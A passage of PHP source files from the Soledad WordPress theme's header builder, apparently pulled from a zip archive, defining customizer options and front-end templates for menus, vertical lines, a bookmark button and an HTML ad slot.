	'id'        => 'penci_header_pb_hamburger_menu_bhcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Menu Hover Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_bghcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_btnspacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Button Spacing', 'soledad' ),
	'choices'   => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_hamburger_menu_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\NS  S  -  builder/elements/pb_second_menu/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$menu_id = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_name' );
if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['main_nav_menu'] ) && $pmeta_page_header['main_nav_menu'] ) {
		$menu_id = $pmeta_page_header['main_nav_menu'];
	}
}
$classes = [];

$classes[] = 'navigation';
$classes[] = get_theme_mod( 'penci_header_menu_style','menu-style-1' );
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_class', 'no-class' );
$classes[] = 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_header_enable_padding' ) ? 'menu-item-padding' : 'menu-item-normal';
$classes[] = 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_pb_second_menu_penci_header_remove_line_hover' ) ? 'pcremove-lineh' : '';

if ( $menu_id || is_customize_preview() ) {
	?>
    <div class="pc-builder-element pc-builder-menu pc-second-menu">
        <nav class="<?php echo implode( ' ', $classes ); ?>" role="navigation"
		     <?php if ( ! penci_builder_validate_mod( $header_data, 'penci_schema_sitenav' ) ): ?>itemscope
             itemtype="https://schema.org/SiteNavigationElement"<?php endif; ?>>

			<?php
			if( $menu_id ){
				wp_nav_menu( array(
					'menu'        => $menu_id,
					'container'   => false,
					'menu_class'  => 'menu',
					'fallback_cb' => 'penci_menu_fallback',
					'walker'      => new penci_menu_walker_nav_menu()
				) );
			}
			?>
        </nav>
    </div>
	<?php
}


PK     /w\p[0  0  ,  builder/elements/pb_second_menu/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_name',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',

	'label'           => esc_html__( 'Select Menu', 'soledad' ),
	'placeholder'     => esc_html__( 'Select an the menu', 'soledad' ),
	'description'     => sprintf( __( 'Go to the <a href="%s" target="_blank">Menus screen</a> to add new or edit your menus.', 'soledad' ), admin_url( 'nav-menus.php' ) ),
	'choices'         => penci_builder_menu_list(),
	'partial_refresh' => [
		'penci_header_pb_second_menu_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_header_enable_padding',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Enable Padding on Menu Item Level 1','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_header_remove_line_hover',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Hide Line When Hover on Menu Items Level 1','soledad' ),

	'description' => __( 'You can change the sub menu style via Customize > Logo & Header > Main Bar & Primary Menu > Sub Menu Style', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_font_for_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Custom Font For Second Menu Items','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_font_weight_menu',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Second Menu Items','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		''        => '',
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_menu_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Turn Off Uppercase on Menu items','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => [
		'disable' => 'No',
		'enable'  => 'Yes',
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_menu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_menu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Hover Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_menu_active_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Menu Items Active Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_menu_line_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Line Hover Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_menu_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Background Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_menu_bg_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Menu Items Hover Background Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_submenu_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Background Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_submenu_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Items Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_submenu_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Items Hover Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_submenu_activecl',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Items Active Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_submenu_bordercolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Sub Menu Borders Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_mega_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => __('Category Mega Menu Background Color','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_mega_child_cat_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu List Child Categories Background Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_mega_post_category_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Mega Menu Post Category Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_mega_post_title_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Post Title Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_mega_post_date_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Post Date Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_mega_accent_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Category Mega Menu Accent Color','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_mega_border_style2',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Borders Color for Category Mega on Menu Style2','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_drop_border_style2',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __('Dropdown Borders on Hover for Menu Style2','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_section_slogan_heading_1',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_text_field',
	'label'     => esc_html__( 'Menu Font Size', 'soledad' ),

	'type' => 'soledad-fw-header',
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_line_height_lv1',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Height for Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_second_menu_penci_line_height_lv1',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_font_size_lv1',
	'default'   => '12',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_second_menu_penci_font_size_lv1',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_font_size_drop',
	'default'   => '12',
	'sanitize'  => 'absint',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Dropdown Menu Items', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_second_menu_penci_font_size_drop',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_lv1_item_spacing',
	'default'   => '',
	'sanitize'  => 'absint',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Space Between Menu Items Level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_second_menu_penci_lv1_item_spacing',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_penci_lv1_item_margin',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Margin Between Menu Items Level 1', 'soledad' ),
	'description'     => __( 'This option only applies when you enable padding for menu items level 1', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_second_menu_penci_lv1_item_margin',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_second_menu_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;

PK     /w\4;    8  builder/elements/pb_vertical_line_mobile_1/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
// verical line
$line5_width = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile1_width' );
$line5_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile1_height' );
$line5_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile1_color' );
$line5_class = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile1_class' );
$data_attr   = [];
if ( ! empty( $line5_width ) ) {
	$data_attr[] = 'width:' . $line5_width . 'px;';
}
if ( ! empty( $line5_height ) ) {
	$data_attr[] = 'height:' . $line5_height . 'px;';
}
if ( ! empty( $line5_color ) ) {
	$data_attr[] = 'background-color:' . $line5_color . ';';
}
$data_attr = implode( ' ', $data_attr );
?>
<div style="<?php echo $data_attr; ?>"
     class="penci-builder-element penci-vertical-line vertical-line-mobile-1 <?php echo esc_attr( $line5_class ); ?>"></div>
PK     /w\6^\  \  7  builder/elements/pb_vertical_line_mobile_1/settings.phpnu [        <?php 

$general_config = 'penci_builder_mods';
$options        = [];
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_1_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Width', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_1_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Height', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_1_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Vertical Line Color', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_1_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin' => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
	),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_1_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;PK     /w\Ϟ    *  builder/elements/pb_bookmark/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$btn_link_target = penci_builder_validate_mod( $header_data, 'penci_header_pb_bookmark_link_target', '_self' );
$btn_title       = penci_builder_validate_mod( $header_data, 'penci_header_pb_bookmark_text_setting', false );

$classes   = [];
$classes[] = penci_builder_validate_mod( $header_data, 'penci_header_pb_bookmark_txt_css_class', 'default' );
$btn_title = ! empty( $btn_title ) ? $btn_title : '';

$pages = get_option( 'penci_bl_set_pages' );
if ( isset( $pages['subscribe_manage_page'] ) && $pages['subscribe_manage_page'] ) {
	echo '<div id="penci-header-bookmark" class="penci-header-bookmark-element penci-builder-element top-search-classes"><a title="' . penci_get_setting( 'penci_trans_bookmark' ) . '" target="' . $btn_link_target . '" href="' . esc_url( get_page_link( $pages['subscribe_manage_page'] ) ) . '">' . penci_icon_by_ver( 'fa fa-bookmark-o' ) . $btn_title . '</a></div>';
}
PK     /w\m    )  builder/elements/pb_bookmark/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_bookmark_text_setting',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-text',
	'label'           => __( 'Button Text', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_bookmark_text_setting' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_bookmark_link_target',
	'default'   => '_self',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Link Target', 'soledad' ),
	'choices'   => [
		'_blank'  => __('Blank','soledad' ),
		'_self'   => __('Self','soledad' ),
		'_parent' => __('Parent','soledad' ),
		'_top'    => __('Top','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_bookmark_txt_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_bookmark_txt_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Text Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_bookmark_txt_size',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Button Font Size', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_bookmark_txt_size',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* start font */
$options[] = array(
	'id'        => 'penci_header_pb_bookmark_font',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font For Button Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_bookmark_font_w',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Button Text','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_bookmark_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'   => __( 'Button Spacing', 'soledad' ),
	'choices' => array(
		'margin'        => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding'       => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
		'border'        => array(
			'border-top'    => '',
			'border-right'  => '',
			'border-bottom' => '',
			'border-left'   => '',
		),
		'border-radius' => array(
			'border-radius-top'    => '',
			'border-radius-right'  => '',
			'border-radius-bottom' => '',
			'border-radius-left'   => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_bookmark_txt_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\M;  ;  +  builder/elements/pb_html_ad_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$ads_html = penci_builder_validate_mod( $header_data, 'penci_header_builder_pb_html_2_name', false );
if ( empty( $ads_html ) ) {
	return false;
}
?>

<div class="penci-builder-element penci-html-ads penci-html-ads-2">
	<?php echo do_shortcode( $ads_html ); ?>
</div>
PK     /w\MT=T	  T	  *  builder/elements/pb_html_ad_2/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_builder_pb_html_2_name',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-textarea',
	'label'           => esc_html__( 'HTML Code', 'soledad' ),
	'partial_refresh' => [
		'penci_header_builder_pb_html_2_name' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_2_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Text Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_2_link_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Links Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_2_fsize',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __('Font Size','soledad' ),
	'ids'  => array(
		'desktop' => 'penci_header_builder_pb_html_2_fsize',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_builder_pb_html_2_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_builder_pb_html_2_css_class',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\.    1  builder/elements/pb_vertical_line_3/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
// verical line
$line3_width = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line3_width' );
$line3_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line3_height' );
$line3_color = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line3_color' );
$line3_class = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line3_class' );
$data_attr   = [];
if ( ! empty( $line3_width ) ) {
	$data_attr[] = 'width:' . $line3_width . 'px;';
}
if ( ! empty( $line3_height ) ) {
	$data_attr[] = 'height:' . $line3_height . 'px;';
}
if ( ! empty( $line3_color ) ) {
	$data_attr[] = 'background-color:' . $line3_color . ';';
}
$data_attr = implode( ' ', $data_attr );
?>
<div style="<?php echo $data_attr; ?>"
     class="penci-builder-element penci-vertical-line vertical-line-3 <?php echo esc_attr( $line3_class ); ?>"></div>
PK     /w\ `'5  5  0  builder/elements/pb_vertical_line_3/settings.phpnu [        <?php 

$general_config = 'penci_builder_mods';
$options        = [];
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line3_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Width', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line3_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Height', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line3_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Vertical Line Color', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line3_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin' => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
	),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line3_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\==  =  /  builder/elements/pb_dropdown_menu/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$menu_id      = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_name', '' );
$parent_click = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_vernav_click_parent' );
$classes      = [];
$classes[]    = penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_class', 'no-class' );
$classes[]    = 'enable' == $parent_click ? 'penci-vernav-cparent' : 'normal-click';
if ( penci_builder_validate_mod( $header_data, 'penci_header_pb_dropdown_menu_penci_vernav_click_parent' ) == 'enable' ) {
	$classes[] = 'pchb-cparent';
}
add_filter( 'theme_mod_penci_vernav_click_parent', function ( $value ) {
